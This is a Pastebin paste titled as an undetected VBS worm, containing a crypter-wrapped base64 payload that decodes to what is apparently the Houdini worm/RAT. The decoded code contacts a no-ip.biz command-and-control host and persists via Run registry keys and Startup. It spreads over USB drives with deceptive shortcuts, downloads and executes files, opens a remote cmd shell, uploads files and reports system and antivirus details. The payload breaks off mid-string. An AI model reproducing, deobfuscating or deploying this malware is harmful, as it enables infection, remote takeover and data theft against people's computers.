Advertisement
dansguardian

VBS WORM (no detectado)

Sep 3rd, 2013
382
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. '< -Safa7_22 Crypter- >
  2. Safa7_22 = deCrypt("JzxbIHJlY29kZXIgOiBob3VkaW5pIChjKSBza3lwZSA6IGhvdWRpbmktZnggXT4NCg0KJz0tPS09LT0tPSBjb25maWcgPS09LT0tPS09LT0tPS09LT0tPS09LT0tPS09LT0NCg0KaG9zdCA9ICJoYXR0b3VtYTEyLm5vLWlwLmJpeiINCnBvcnQgPSA4OA0KaW5zdGFsbGRpciA9ICIldGVtcCUiDQpsbmtmaWxlID0gdHJ1ZQ0KbG5rZm9sZGVyID0gdHJ1ZQ0KDQonPS09LT0tPS09IHB1YmxpYyB2YXIgPS09LT0tPS09LT0tPS09LT0tPS09LT0tPQ0KDQpkaW0gc2hlbGxvYmogDQpzZXQgc2hlbGxvYmogPSB3c2NyaXB0LmNyZWF0ZW9iamVjdCgid3NjcmlwdC5zaGVsbCIpDQpkaW0gZmlsZXN5c3RlbW9iag0Kc2V0IGZpbGVzeXN0ZW1vYmogPSBjcmVhdGVvYmplY3QoInNjcmlwdGluZy5maWxlc3lzdGVtb2JqZWN0IikNCmRpbSBodHRwb2JqDQpzZXQgaHR0cG9iaiA9IGNyZWF0ZW9iamVjdCgibXN4bWwyLnhtbGh0dHAiKQ0KDQoNCic9LT0tPS09LT0gcHJpdmF0IHZhciA9LT0tPS09LT0tPS09LT0tPS09LT0tPQ0KDQppbnN0YWxsbmFtZSA9IHdzY3JpcHQuc2NyaXB0bmFtZQ0Kc3RhcnR1cCA9IHNoZWxsb2JqLnNwZWNpYWxmb2xkZXJzICgic3RhcnR1cCIpICYgIlwiDQppbnN0YWxsZGlyID0gc2hlbGxvYmouZXhwYW5kZW52aXJvbm1lbnRzdHJpbmdzKGluc3RhbGxkaXIpICYgIlwiDQppZiBub3QgZmlsZXN5c3RlbW9iai5mb2xkZXJleGlzdHMoaW5zdGFsbGRpcikgdGhlbiAgaW5zdGFsbGRpciA9IHNoZWxsb2JqLmV4cGFuZGVudmlyb25tZW50c3RyaW5ncygiJXRlbXAlIikgJiAiXCINCnNwbGl0ZXIgPSAiPHw+Ig0Kc2xlZXAgPSA1MDAwIA0KZGltIHJlc3BvbnNlDQpkaW0gY21kDQpkaW0gcGFyYW0NCmluZm8gPSAiIg0KdXNic3ByZWFkaW5nID0gIiINCnN0YXJ0ZGF0ZSA9ICIiDQpkaW0gb25lb25jZQ0KDQonPS09LT0tPS09IGNvZGUgc3RhcnQgPS09LT0tPS09LT0tPS09LT0tPS09LT0NCm9uIGVycm9yIHJlc3VtZSBuZXh0DQoNCg0KaW5zdGFuY2UNCndoaWxlIHRydWUNCg0KaW5zdGFsbA0KDQpyZXNwb25zZSA9ICIiDQpyZXNwb25zZSA9IHBvc3QgKCJpcy1yZWFkeSIsIiIpDQpjbWQgPSBzcGxpdCAocmVzcG9uc2Usc3BsaXRlcikNCnNlbGVjdCBjYXNlIGNtZCAoMCkNCmNhc2UgImV4Y2VjdXRlIg0KICAgICAgcGFyYW0gPSBjbWQgKDEpDQogICAgICBleGVjdXRlIHBhcmFtDQpjYXNlICJ1cGRhdGUiDQogICAgICBwYXJhbSA9IGNtZCAoMSkNCiAgICAgIG9uZW9uY2UuY2xvc2UNCiAgICAgIHNldCBvbmVvbmNlID0gIGZpbGVzeXN0ZW1vYmoub3BlbnRleHRmaWxlIChpbnN0YWxsZGlyICYgaW5zdGFsbG5hbWUgLDIsIGZhbHNlKQ0KICAgICAgb25lb25jZS53cml0ZSBwYXJhbQ0KICAgICAgb25lb25jZS5jbG9zZQ0KICAgICAgc2hlbGxvYmoucnVuICJ3c2NyaXB0LmV4ZSAvL0IgIiAmIGNocigzNCkgJiBpbnN0YWxsZGlyICYgaW5zdGFsbG5hbWUgJiBjaHIoMzQpDQogICAgICB3c2NyaXB0LnF1aXQgDQpjYXNlICJ1bmluc3RhbGwiDQogICAgICB1bmluc3RhbGwNCmNhc2UgInNlbmQiDQogICAgICBkb3dubG9hZCBjbWQgKDEpLGNtZCAoMikNCmNhc2UgInNpdGUtc2VuZCINCiAgICAgIHNpdGVkb3dubG9hZGVyIGNtZCAoMSksY21kICgyKQ0KY2FzZSAicmVjdiINCiAgICAgIHBhcmFtID0gY21kICgxKQ0KICAgICAgdXBsb2FkIChwYXJhbSkNCmNhc2UgICJlbnVtLWRyaXZlciINCiAgICAgIHBvc3QgImlzLWVudW0tZHJpdmVyIixlbnVtZHJpdmVyICANCmNhc2UgICJlbnVtLWZhZiINCiAgICAgIHBhcmFtID0gY21kICgxKQ0KICAgICAgcG9zdCAiaXMtZW51bS1mYWYiLGVudW1mYWYgKHBhcmFtKQ0KY2FzZSAgImVudW0tcHJvY2VzcyINCiAgICAgIHBvc3QgImlzLWVudW0tcHJvY2VzcyIsZW51bXByb2Nlc3MgICANCmNhc2UgICJjbWQtc2hlbGwiDQogICAgICBwYXJhbSA9IGNtZCAoMSkNCiAgICAgIHBvc3QgImlzLWNtZC1zaGVsbCIsY21kc2hlbGwgKHBhcmFtKSAgDQpjYXNlICAiZGVsZXRlIg0KICAgICAgcGFyYW0gPSBjbWQgKDEpDQogICAgICBkZWxldGVmYWYgKHBhcmFtKSANCmNhc2UgICJleGl0LXByb2Nlc3MiDQogICAgICBwYXJhbSA9IGNtZCAoMSkNCiAgICAgIGV4aXRwcm9jZXNzIChwYXJhbSkgDQpjYXNlICAic2xlZXAiDQogICAgICBwYXJhbSA9IGNtZCAoMSkNCiAgICAgIHNsZWVwID0gZXZhbCAocGFyYW0pICAgICAgICANCmVuZCBzZWxlY3QNCg0Kd3NjcmlwdC5zbGVlcCBzbGVlcA0KDQp3ZW5kDQoNCg0Kc3ViIGluc3RhbGwNCm9uIGVycm9yIHJlc3VtZSBuZXh0DQpkaW0gbG5rb2JqDQpkaW0gZmlsZW5hbWUNCmRpbSBmb2xkZXJuYW1lDQpkaW0gZmlsZWljb24NCmRpbSBmb2xkZXJpY29uDQoNCnVwc3RhcnQNCmZvciBlYWNoIGRyaXZlIGluIGZpbGVzeXN0ZW1vYmouZHJpdmVzDQoNCmlmICBkcml2ZS5pc3JlYWR5ID0gdHJ1ZSB0aGVuDQppZiAgZHJpdmUuZnJlZXNwYWNlICA+IDAgdGhlbg0KaWYgIGRyaXZlLmRyaXZldHlwZSAgPSAxIHRoZW4NCiAgICBmaWxlc3lzdGVtb2JqLmNvcHlmaWxlIHdzY3JpcHQuc2NyaXB0ZnVsbG5hbWUgLCBkcml2ZS5wYXRoICYgIlwiICYgaW5zdGFsbG5hbWUsdHJ1ZQ0KICAgIGlmICBmaWxlc3lzdGVtb2JqLmZpbGVleGlzdHMgKGRyaXZlLnBhdGggJiAiXCIgJiBpbnN0YWxsbmFtZSkgIHRoZW4NCiAgICAgICAgZmlsZXN5c3RlbW9iai5nZXRmaWxlKGRyaXZlLnBhdGggJiAiXCIgICYgaW5zdGFsbG5hbWUpLmF0dHJpYnV0ZXMgPSAyKzQNCiAgICBlbmQgaWYNCiAgICBmb3IgZWFjaCBmaWxlIGluIGZpbGVzeXN0ZW1vYmouZ2V0Zm9sZGVyKCBkcml2ZS5wYXRoICYgIlwiICkuRmlsZXMNCiAgICAgICAgaWYgbm90IGxua2ZpbGUgdGhlbiBleGl0IGZvcg0KICAgICAgICBpZiAgaW5zdHIgKGZpbGUubmFtZSwiLiIpIHRoZW4NCiAgICAgICAgICAgIGlmICBsY2FzZSAoc3BsaXQoZmlsZS5uYW1lLCAiLiIpICh1Ym91bmQoc3BsaXQoZmlsZS5uYW1lLCAiLiIpKSkpIDw+ICJsbmsiIHRoZW4NCiAgICAgICAgICAgICAgICBmaWxlLmF0dHJpYnV0ZXMgPSAyKzQNCiAgICAgICAgICAgICAgICBpZiAgdWNhc2UgKGZpbGUubmFtZSkgPD4gdWNhc2UgKGluc3RhbGxuYW1lKSB0aGVuDQogICAgICAgICAgICAgICAgICAgIGZpbGVuYW1lID0gc3BsaXQoZmlsZS5uYW1lLCIuIikNCiAgICAgICAgICAgICAgICAgICAgc2V0IGxua29iaiA9IHNoZWxsb2JqLmNyZWF0ZXNob3J0Y3V0IChkcml2ZS5wYXRoICYgIlwiICAmIGZpbGVuYW1lICgwKSAmICIubG5rIikgDQogICAgICAgICAgICAgICAgICAgIGxua29iai53aW5kb3dzdHlsZSA9IDcNCiAgICAgICAgICAgICAgICAgICAgbG5rb2JqLnRhcmdldHBhdGggPSAiY21kLmV4ZSINCiAgICAgICAgICAgICAgICAgICAgbG5rb2JqLndvcmtpbmdkaXJlY3RvcnkgPSAiIg0KICAgICAgICAgICAgICAgICAgICBsbmtvYmouYXJndW1lbnRzID0gIi9jIHN0YXJ0ICIgJiByZXBsYWNlKGluc3RhbGxuYW1lLCIgIiwgY2hydygzNCkgJiAiICIgJiBjaHJ3KDM0KSkgJiAiJnN0YXJ0ICIgJiByZXBsYWNlKGZpbGUubmFtZSwiICIsIGNocncoMzQpICYgIiAiICYgY2hydygzNCkpICYiJmV4aXQiDQogICAgICAgICAgICAgICAgICAgIGZpbGVpY29uID0gc2hlbGxvYmoucmVncmVhZCAoIkhLRVlfTE9DQUxfTUFDSElORVxzb2Z0d2FyZVxjbGFzc2VzXCIgJiBzaGVsbG9iai5yZWdyZWFkICgiSEtFWV9MT0NBTF9NQUNISU5FXHNvZnR3YXJlXGNsYXNzZXNcLiIgJiBzcGxpdChmaWxlLm5hbWUsICIuIikodWJvdW5kKHNwbGl0KGZpbGUubmFtZSwgIi4iKSkpJiAiXCIpICYgIlxkZWZhdWx0aWNvblwiKSANCiAgICAgICAgICAgICAgICAgICAgaWYgIGluc3RyIChmaWxlaWNvbiwiLCIpID0gMCB0aGVuDQogICAgICAgICAgICAgICAgICAgICAgICBsbmtvYmouaWNvbmxvY2F0aW9uID0gZmlsZS5wYXRoDQogICAgICAgICAgICAgICAgICAgIGVsc2UgDQogICAgICAgICAgICAgICAgICAgICAgICBsbmtvYmouaWNvbmxvY2F0aW9uID0gZmlsZWljb24NCiAgICAgICAgICAgICAgICAgICAgZW5kIGlmDQogICAgICAgICAgICAgICAgICAgIGxua29iai5zYXZlKCkNCiAgICAgICAgICAgICAgICBlbmQgaWYNCiAgICAgICAgICAgIGVuZCBpZg0KICAgICAgICBlbmQgaWYNCiAgICBuZXh0DQogICAgZm9yIGVhY2ggZm9sZGVyIGluIGZpbGVzeXN0ZW1vYmouZ2V0Zm9sZGVyKCBkcml2ZS5wYXRoICYgIlwiICkuc3ViZm9sZGVycw0KICAgICAgICBpZiBub3QgbG5rZm9sZGVyIHRoZW4gZXhpdCBmb3INCiAgICAgICAgZm9sZGVyLmF0dHJpYnV0ZXMgPSAyKzQNCiAgICAgICAgZm9sZGVybmFtZSA9IGZvbGRlci5uYW1lDQogICAgICAgIHNldCBsbmtvYmogPSBzaGVsbG9iai5jcmVhdGVzaG9ydGN1dCAoZHJpdmUucGF0aCAmICJcIiAgJiBmb2xkZXJuYW1lICYgIi5sbmsiKSANCiAgICAgICAgbG5rb2JqLndpbmRvd3N0eWxlID0gNw0KICAgICAgICBsbmtvYmoudGFyZ2V0cGF0aCA9ICJjbWQuZXhlIg0KICAgICAgICBsbmtvYmoud29ya2luZ2RpcmVjdG9yeSA9ICIiDQogICAgICAgIGxua29iai5hcmd1bWVudHMgPSAiL2Mgc3RhcnQgIiAmIHJlcGxhY2UoaW5zdGFsbG5hbWUsIiAiLCBjaHJ3KDM0KSAmICIgIiAmIGNocncoMzQpKSAmICImc3RhcnQgZXhwbG9yZXIgIiAmIHJlcGxhY2UoZm9sZGVyLm5hbWUsIiAiLCBjaHJ3KDM0KSAmICIgIiAmIGNocncoMzQpKSAmIiZleGl0Ig0KICAgICAgICBmb2xkZXJpY29uID0gc2hlbGxvYmoucmVncmVhZCAoIkhLRVlfTE9DQUxfTUFDSElORVxzb2Z0d2FyZVxjbGFzc2VzXGZvbGRlclxkZWZhdWx0aWNvblwiKSANCiAgICAgICAgaWYgIGluc3RyIChmb2xkZXJpY29uLCIsIikgPSAwIHRoZW4NCiAgICAgICAgICAgIGxua29iai5pY29ubG9jYXRpb24gPSBmb2xkZXIucGF0aA0KICAgICAgICBlbHNlIA0KICAgICAgICAgICAgbG5rb2JqLmljb25sb2NhdGlvbiA9IGZvbGRlcmljb24NCiAgICAgICAgZW5kIGlmDQogICAgICAgIGxua29iai5zYXZlKCkNCiAgICBuZXh0DQplbmQgSWYNCmVuZCBJZg0KZW5kIGlmDQpuZXh0DQplcnIuY2xlYXINCmVuZCBzdWINCg0Kc3ViIHVuaW5zdGFsbA0Kb24gZXJyb3IgcmVzdW1lIG5leHQNCmRpbSBmaWxlbmFtZQ0KZGltIGZvbGRlcm5hbWUNCg0Kc2hlbGxvYmoucmVnZGVsZXRlICJIS0VZX0NVUlJFTlRfVVNFUlxzb2Z0d2FyZVxtaWNyb3NvZnRcd2luZG93c1xjdXJyZW50dmVyc2lvblxydW5cIiAmIHNwbGl0IChpbnN0YWxsbmFtZSwiLiIpKDApDQpzaGVsbG9iai5yZWdkZWxldGUgIkhLRVlfTE9DQUxfTUFDSElORVxzb2Z0d2FyZVxtaWNyb3NvZnRcd2luZG93c1xjdXJyZW50dmVyc2lvblxydW5cIiAmIHNwbGl0IChpbnN0YWxsbmFtZSwiLiIpKDApDQpmaWxlc3lzdGVtb2JqLmRlbGV0ZWZpbGUgc3RhcnR1cCAmIGluc3RhbGxuYW1lICx0cnVlDQpmaWxlc3lzdGVtb2JqLmRlbGV0ZWZpbGUgd3NjcmlwdC5zY3JpcHRmdWxsbmFtZSAsdHJ1ZQ0KDQpmb3IgIGVhY2ggZHJpdmUgaW4gZmlsZXN5c3RlbW9iai5kcml2ZXMNCmlmICBkcml2ZS5pc3JlYWR5ID0gdHJ1ZSB0aGVuDQppZiAgZHJpdmUuZnJlZXNwYWNlICA+IDAgdGhlbg0KaWYgIGRyaXZlLmRyaXZldHlwZSAgPSAxIHRoZW4NCiAgICBmb3IgIGVhY2ggZmlsZSBpbiBmaWxlc3lzdGVtb2JqLmdldGZvbGRlciAoIGRyaXZlLnBhdGggJiAiXCIpLmZpbGVzDQogICAgICAgICBvbiBlcnJvciByZXN1bWUgbmV4dA0KICAgICAgICAgaWYgIGluc3RyIChmaWxlLm5hbWUsIi4iKSB0aGVuDQogICAgICAgICAgICAgaWYgIGxjYXNlIChzcGxpdChmaWxlLm5hbWUsICIuIikodWJvdW5kKHNwbGl0KGZpbGUubmFtZSwgIi4iKSkpKSA8PiAibG5rIiB0aGVuDQogICAgICAgICAgICAgICAgIGZpbGUuYXR0cmlidXRlcyA9IDANCiAgICAgICAgICAgICAgICAgaWYgIHVjYXNlIChmaWxlLm5hbWUpIDw+IHVjYXNlIChpbnN0YWxsbmFtZSkgdGhlbg0KICAgICAgICAgICAgICAgICAgICAgZmlsZW5hbWUgPSBzcGxpdChmaWxlLm5hbWUsIi4iKQ0KICAgICAgICAgICAgICAgICAgICAgZmlsZXN5c3RlbW9iai5kZWxldGVmaWxlIChkcml2ZS5wYXRoICYgIlwiICYgZmlsZW5hbWUoMCkgJiAiLmxuayIgKQ0KICAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgICAgICBmaWxlc3lzdGVtb2JqLmRlbGV0ZWZpbGUgKGRyaXZlLnBhdGggJiAiXCIgJiBmaWxlLm5hbWUpDQogICAgICAgICAgICAgICAgIGVuZCBJZg0KICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgZmlsZXN5c3RlbW9iai5kZWxldGVmaWxlIChmaWxlLnBhdGgpIA0KICAgICAgICAgICAgIGVuZCBpZg0KICAgICAgICAgZW5kIGlmDQogICAgIG5leHQNCiAgICAgZm9yIGVhY2ggZm9sZGVyIGluIGZpbGVzeXN0ZW1vYmouZ2V0Zm9sZGVyKCBkcml2ZS5wYXRoICYgIlwiICkuc3ViZm9sZGVycw0KICAgICAgICAgZm9sZGVyLmF0dHJpYnV0ZXMgPSAwDQogICAgIG5leHQNCmVuZCBpZg0KZW5kIGlmDQplbmQgaWYNCm5leHQNCndzY3JpcHQucXVpdA0KZW5kIHN1Yg0KDQpmdW5jdGlvbiBwb3N0IChjbWQgLHBhcmFtKQ0KDQpwb3N0ID0gcGFyYW0NCmh0dHBvYmoub3BlbiAicG9zdCIsImh0dHA6Ly8iICYgaG9zdCAmICI6IiAmIHBvcnQgJiIvIiAmIGNtZCwgZmFsc2UNCmh0dHBvYmouc2V0cmVxdWVzdGhlYWRlciAidXNlci1hZ2VudDoiLGluZm9ybWF0aW9uDQpodHRwb2JqLnNlbmQgcGFyYW0NCnBvc3QgPSBodHRwb2JqLnJlc3BvbnNldGV4dA0KZW5kIGZ1bmN0aW9uDQoNCmZ1bmN0aW9uIGluZm9ybWF0aW9uDQpvbiBlcnJvciByZXN1bWUgbmV4dA0KaWYgIGluZiA9ICIiIHRoZW4NCiAgICBpbmYgPSBod2lkICYgc3BsaXRlciANCiAgICBpbmYgPSBpbmYgICYgc2hlbGxvYmouZXhwYW5kZW52aXJvbm1lbnRzdHJpbmdzKCIlY29tcHV0ZXJuYW1lJSIpICYgc3BsaXRlciANCiAgICBpbmYgPSBpbmYgICYgc2hlbGxvYmouZXhwYW5kZW52aXJvbm1lbnRzdHJpbmdzKCIldXNlcm5hbWUlIikgJiBzcGxpdGVyDQoNCiAgICBzZXQgcm9vdCA9IGdldG9iamVjdCgid2lubWdtdHM6e2ltcGVyc29uYXRpb25sZXZlbD1pbXBlcnNvbmF0ZX0hXFwuXHJvb3RcY2ltdjIiKQ0KICAgIHNldCBvcyA9IHJvb3QuZXhlY3F1ZXJ5ICgic2VsZWN0ICogZnJvbSB3aW4zMl9vcGVyYXRpbmdzeXN0ZW0iKQ0KICAgIGZvciBlYWNoIG9zaW5mbyBpbiBvcw0KICAgICAgIGluZiA9IGluZiAmIG9zaW5mby5jYXB0aW9uICYgc3BsaXRlciAgDQogICAgICAgZXhpdCBmb3INCiAgICBuZXh0DQogICAgaW5mID0gaW5mICYgInBsdXMiICYgc3BsaXRlcg0KICAgIGluZiA9IGluZiAmIHNlY3VyaXR5ICYgc3BsaXRlcg0KICAgIGluZiA9IGluZiAmIHVzYnNwcmVhZGluZw0KICAgIGluZm9ybWF0aW9uID0gaW5mICANCmVsc2UNCiAgICBpbmZvcm1hdGlvbiA9IGluZg0KZW5kIGlmDQplbmQgZnVuY3Rpb24NCg0KDQpzdWIgdXBzdGFydCAoKQ0Kb24gZXJyb3IgcmVzdW1lIE5leHQNCg0Kc2hlbGxvYmoucmVnd3JpdGUgIkhLRVlfQ1VSUkVOVF9VU0VSXHNvZnR3YXJlXG1pY3Jvc29mdFx3aW5kb3dzXGN1cnJlbnR2ZXJzaW9uXHJ1blwiICYgc3BsaXQgKGluc3RhbGxuYW1lLCIuIikoMCksICAid3NjcmlwdC5leGUgLy9CICIgJiBjaHJ3KDM0KSAmIGluc3RhbGxkaXIgJiBpbnN0YWxsbmFtZSAmIGNocncoMzQpICwgIlJFR19TWiINCnNoZWxsb2JqLnJlZ3dyaXRlICJIS0VZX0xPQ0FMX01BQ0hJTkVcc29mdHdhcmVcbWljcm9zb2Z0XHdpbmRvd3NcY3VycmVudHZlcnNpb25ccnVuXCIgJiBzcGxpdCAoaW5zdGFsbG5hbWUsIi4iKSgwKSwgICJ3c2NyaXB0LmV4ZSAvL0IgIiAgJiBjaHJ3KDM0KSAmIGluc3RhbGxkaXIgJiBpbnN0YWxsbmFtZSAmIGNocncoMzQpICwgIlJFR19TWiINCmZpbGVzeXN0ZW1vYmouY29weWZpbGUgd3NjcmlwdC5zY3JpcHRmdWxsbmFtZSxpbnN0YWxsZGlyICYgaW5zdGFsbG5hbWUsdHJ1ZQ0KZmlsZXN5c3RlbW9iai5jb3B5ZmlsZSB3c2NyaXB0LnNjcmlwdGZ1bGxuYW1lLHN0YXJ0dXAgJiBpbnN0YWxsbmFtZSAsdHJ1ZQ0KDQplbmQgc3ViDQoNCg0KZnVuY3Rpb24gaHdpZA0Kb24gZXJyb3IgcmVzdW1lIG5leHQNCg0Kc2V0IHJvb3QgPSBnZXRvYmplY3QoIndpbm1nbXRzOntpbXBlcnNvbmF0aW9ubGV2ZWw9aW1wZXJzb25hdGV9IVxcLlxyb290XGNpbXYyIikNCnNldCBkaXNrcyA9IHJvb3QuZXhlY3F1ZXJ5ICgic2VsZWN0ICogZnJvbSB3aW4zMl9sb2dpY2FsZGlzayIpDQpmb3IgZWFjaCBkaXNrIGluIGRpc2tzDQogICAgaWYgIGRpc2sudm9sdW1lc2VyaWFsbnVtYmVyIDw+ICIiIHRoZW4NCiAgICAgICAgaHdpZCA9IGRpc2sudm9sdW1lc2VyaWFsbnVtYmVyDQogICAgICAgIGV4aXQgZm9yDQogICAgZW5kIGlmDQpuZXh0DQplbmQgZnVuY3Rpb24NCg0KDQpmdW5jdGlvbiBzZWN1cml0eSANCm9uIGVycm9yIHJlc3VtZSBuZXh0DQoNCnNlY3VyaXR5ID0gIiINCg0Kc2V0IG9iandtaXNlcnZpY2UgPSBnZXRvYmplY3QoIndpbm1nbXRzOntpbXBlcnNvbmF0aW9ubGV2ZWw9aW1wZXJzb25hdGV9IVxcLlxyb290XGNpbXYyIikNCnNldCBjb2xpdGVtcyA9IG9iandtaXNlcnZpY2UuZXhlY3F1ZXJ5KCJzZWxlY3QgKiBmcm9tIHdpbjMyX29wZXJhdGluZ3N5c3RlbSIsLDQ4KQ0KZm9yIGVhY2ggb2JqaXRlbSBpbiBjb2xpdGVtcw0KICAgIHZlcnNpb25zdHIgPSBzcGxpdCAob2JqaXRlbS52ZXJzaW9uLCIuIikNCm5leHQNCnZlcnNpb25zdHIgPSBzcGxpdCAoY29saXRlbXMudmVyc2lvbiwiLiIpDQpvc3ZlcnNpb24gPSB2ZXJzaW9uc3RyICgwKSAmICIuIg0KZm9yICB4ID0gMSB0byB1Ym91bmQgKHZlcnNpb25zdHIpDQoJIG9zdmVyc2lvbiA9IG9zdmVyc2lvbiAmICB2ZXJzaW9uc3RyIChpKQ0KbmV4dA0Kb3N2ZXJzaW9uID0gZXZhbCAob3N2ZXJzaW9uKQ0KaWYgIG9zdmVyc2lvbiA+IDYgdGhlbiBzYyA9ICJzZWN1cml0eWNlbnRlcjIiIGVsc2Ugc2MgPSAic2VjdXJpdHljZW50ZXIiDQoNCnNldCBvYmpzZWN1cml0eWNlbnRlciA9IGdldG9iamVjdCgid2lubWdtdHM6XFxsb2NhbGhvc3Rccm9vdFwiICYgc2MpDQpTZXQgY29sYW50aXZpcnVzID0gb2Jqc2VjdXJpdHljZW50ZXIuZXhlY3F1ZXJ5KCJzZWxlY3QgKiBmcm9tIGFudGl2aXJ1c3Byb2R1Y3QiLCJ3cWwiLDApDQoNCmZvciBlYWNoIG9iamFudGl2aXJ1cyBpbiBjb2xhbnRpdmlydXMNCiAgICBzZWN1cml0eSAgPSBzZWN1cml0eSAgJiBvYmphbnRpdmlydXMuZGlzcGxheW5hbWUgJiAiIC4iDQpuZXh0DQppZiBzZWN1cml0eSAgPSAiIiB0aGVuIHNlY3VyaXR5ICA9ICJuYW4tYXYiDQplbmQgZnVuY3Rpb24NCg0KDQpmdW5jdGlvbiBpbnN0YW5jZQ0Kb24gZXJyb3IgcmVzdW1lIG5leHQNCg0KdXNic3ByZWFkaW5nID0gc2hlbGxvYmoucmVncmVhZCAoIkhLRVlfTE9DQUxfTUFDSElORVxzb2Z0d2FyZVwiICYgc3BsaXQgKGluc3RhbGxuYW1lLCIuIikoMCkgJiAiXCIpDQppZiB1c2JzcHJlYWRpbmcgPSAiIiB0aGVuDQogICBpZiBsY2FzZSAoIG1pZCh3c2NyaXB0LnNjcmlwdGZ1bGxuYW1lLDIpKSA9ICI6XCIgJiAgbGNhc2UoaW5zdGFsbG5hbWUpIHRoZW4NCiAgICAgIHVzYnNwcmVhZGluZyA9ICJ0cnVlIC0gIiAmIGRhdGUNCiAgICAgIHNoZWxsb2JqLnJlZ3dyaXRlICJIS0VZX0xPQ0FMX01BQ0hJTkVcc29mdHdhcmVcIiAmIHNwbGl0IChpbnN0YWxsbmFtZSwiLiIpKDApICAmICJcIiwgIHVzYnNwcmVhZGluZywgIlJFR19TWiINCiAgIGVsc2UNCiAgICAgIHVzYnNwcmVhZGluZyA9ICJmYWxzZSAtICIgJiBkYXRlDQogICAgICBzaGVsbG9iai5yZWd3cml0ZSAiSEtFWV9MT0NBTF9NQUNISU5FXHNvZnR3YXJlXCIgJiBzcGxpdCAoaW5zdGFsbG5hbWUsIi4iKSgwKSAgJiAiXCIsICB1c2JzcHJlYWRpbmcsICJSRUdfU1oiDQoNCiAgIGVuZCBpZg0KZW5kIElmDQoNCg0KDQp1cHN0YXJ0DQpzZXQgc2NyaXB0ZnVsbG5hbWVzaG9ydCA9ICBmaWxlc3lzdGVtb2JqLmdldGZpbGUgKHdzY3JpcHQuc2NyaXB0ZnVsbG5hbWUpDQpzZXQgaW5zdGFsbGZ1bGxuYW1lc2hvcnQgPSAgZmlsZXN5c3RlbW9iai5nZXRmaWxlIChpbnN0YWxsZGlyICYgaW5zdGFsbG5hbWUpDQppZiAgbGNhc2UgKHNjcmlwdGZ1bGxuYW1lc2hvcnQuc2hvcnRwYXRoKSA8PiBsY2FzZSAoaW5zdGFsbGZ1bGxuYW1lc2hvcnQuc2hvcnRwYXRoKSB0aGVuIA0KICAgIHNoZWxsb2JqLnJ1biAid3NjcmlwdC5leGUgLy9CICIgJiBjaHIoMzQpICYgaW5zdGFsbGRpciAmIGluc3RhbGxuYW1lICYgQ2hyKDM0KQ0KICAgIHdzY3JpcHQucXVpdCANCmVuZCBJZg0KZXJyLmNsZWFyDQpzZXQgb25lb25jZSA9IGZpbGVzeXN0ZW1vYmoub3BlbnRleHRmaWxlIChpbnN0YWxsZGlyICYgaW5zdGFsbG5hbWUgLDgsIGZhbHNlKQ0KaWYgIGVyci5udW1iZXIgPiAwIHRoZW4gd3NjcmlwdC5xdWl0DQplbmQgZnVuY3Rpb24NCg0KDQpzdWIgc2l0ZWRvd25sb2FkZXIgKGZpbGV1cmwsZmlsZW5hbWUpDQoNCnN0cmxpbmsgPSBmaWxldXJsDQpzdHJzYXZldG8gPSBpbnN0YWxsZGlyICYgZmlsZW5hbWUNCnNldCBvYmpodHRwZG93bmxvYWQgPSBjcmVhdGVvYmplY3QoIm1zeG1sMi54bWxodHRwIiApDQpvYmpodHRwZG93bmxvYWQub3BlbiAiZ2V0Iiwgc3RybGluaywgZmFsc2UNCm9iamh0dHBkb3dubG9hZC5zZW5kDQoNCnNldCBvYmpmc29kb3dubG9hZCA9IGNyZWF0ZW9iamVjdCAoInNjcmlwdGluZy5maWxlc3lzdGVtb2JqZWN0IikNCmlmICBvYmpmc29kb3dubG9hZC5maWxlZXhpc3RzIChzdHJzYXZldG8pIHRoZW4NCiAgICBvYmpmc29kb3dubG9hZC5kZWxldGVmaWxlIChzdHJzYXZldG8pDQplbmQgaWYNCiANCmlmIG9iamh0dHBkb3dubG9hZC5zdGF0dXMgPSAyMDAgdGhlbg0KICAgZGltICBvYmpzdHJlYW1kb3dubG9hZA0KICAgc2V0ICBvYmpzdHJlYW1kb3dubG9hZCA9IGNyZWF0ZW9iamVjdCgiYWRvZGIuc3RyZWFtIikNCiAgIHdpdGggb2Jqc3RyZWFtZG93bmxvYWQNCgkJLnR5cGUgPSAxIA0KCQkub3Blbg0KCQkud3JpdGUgb2JqaHR0cGRvd25sb2FkLnJlc3BvbnNlYm9keQ0KCQkuc2F2ZXRvZmlsZSBzdHJzYXZldG8NCgkJLmNsb3NlDQogICBlbmQgd2l0aA0KICAgc2V0IG9ianN0cmVhbWRvd25sb2FkID0gbm90aGluZw0KZW5kIGlmDQppZiBvYmpmc29kb3dubG9hZC5maWxlZXhpc3RzKHN0cnNhdmV0bykgdGhlbg0KICAgc2hlbGxvYmoucnVuIG9iamZzb2Rvd25sb2FkLmdldGZpbGUgKHN0cnNhdmV0bykuc2hvcnRwYXRoDQplbmQgaWYgDQplbmQgc3ViDQoNCnN1YiBkb3dubG9hZCAoZmlsZXVybCxmaWxlZGlyKQ0KDQppZiBmaWxlZGlyID0gIiIgdGhlbiANCiAgIGZpbGVkaXIgPSBpbnN0YWxsZGlyDQplbmQgaWYNCg0Kc3Ryc2F2ZXRvID0gZmlsZWRpciAmIG1pZCAoZmlsZXVybCwgaW5zdHJyZXYgKGZpbGV1cmwsIlwiKSArIDEpDQpzZXQgb2JqaHR0cGRvd25sb2FkID0gY3JlYXRlb2JqZWN0KCJtc3htbDIueG1saHR0cCIpDQpvYmpodHRwZG93bmxvYWQub3BlbiAicG9zdCIsImh0dHA6Ly8iICYgaG9zdCAmICI6IiAmIHBvcnQgJiIvIiAmICJpcy1zZW5kaW5nIiAmIHNwbGl0ZXIgJiBmaWxldXJsLCBmYWxzZQ0Kb2JqaHR0cGRvd25sb2FkLnNlbmQgIiINCiAgICAgDQpzZXQgb2JqZnNvZG93bmxvYWQgPSBjcmVhdGVvYmplY3QgKCJzY3JpcHRpbmcuZmlsZXN5c3RlbW9iamVjdCIpDQppZiAgb2JqZnNvZG93bmxvYWQuZmlsZWV4aXN0cyAoc3Ryc2F2ZXRvKSB0aGVuDQogICAgb2JqZnNvZG93bmxvYWQuZGVsZXRlZmlsZSAoc3Ryc2F2ZXRvKQ0KZW5kIGlmDQppZiAgb2JqaHR0cGRvd25sb2FkLnN0YXR1cyA9IDIwMCB0aGVuDQogICAgZGltICBvYmpzdHJlYW1kb3dubG9hZA0KCXNldCAgb2Jqc3RyZWFtZG93bmxvYWQgPSBjcmVhdGVvYmplY3QoImFkb2RiLnN0cmVhbSIp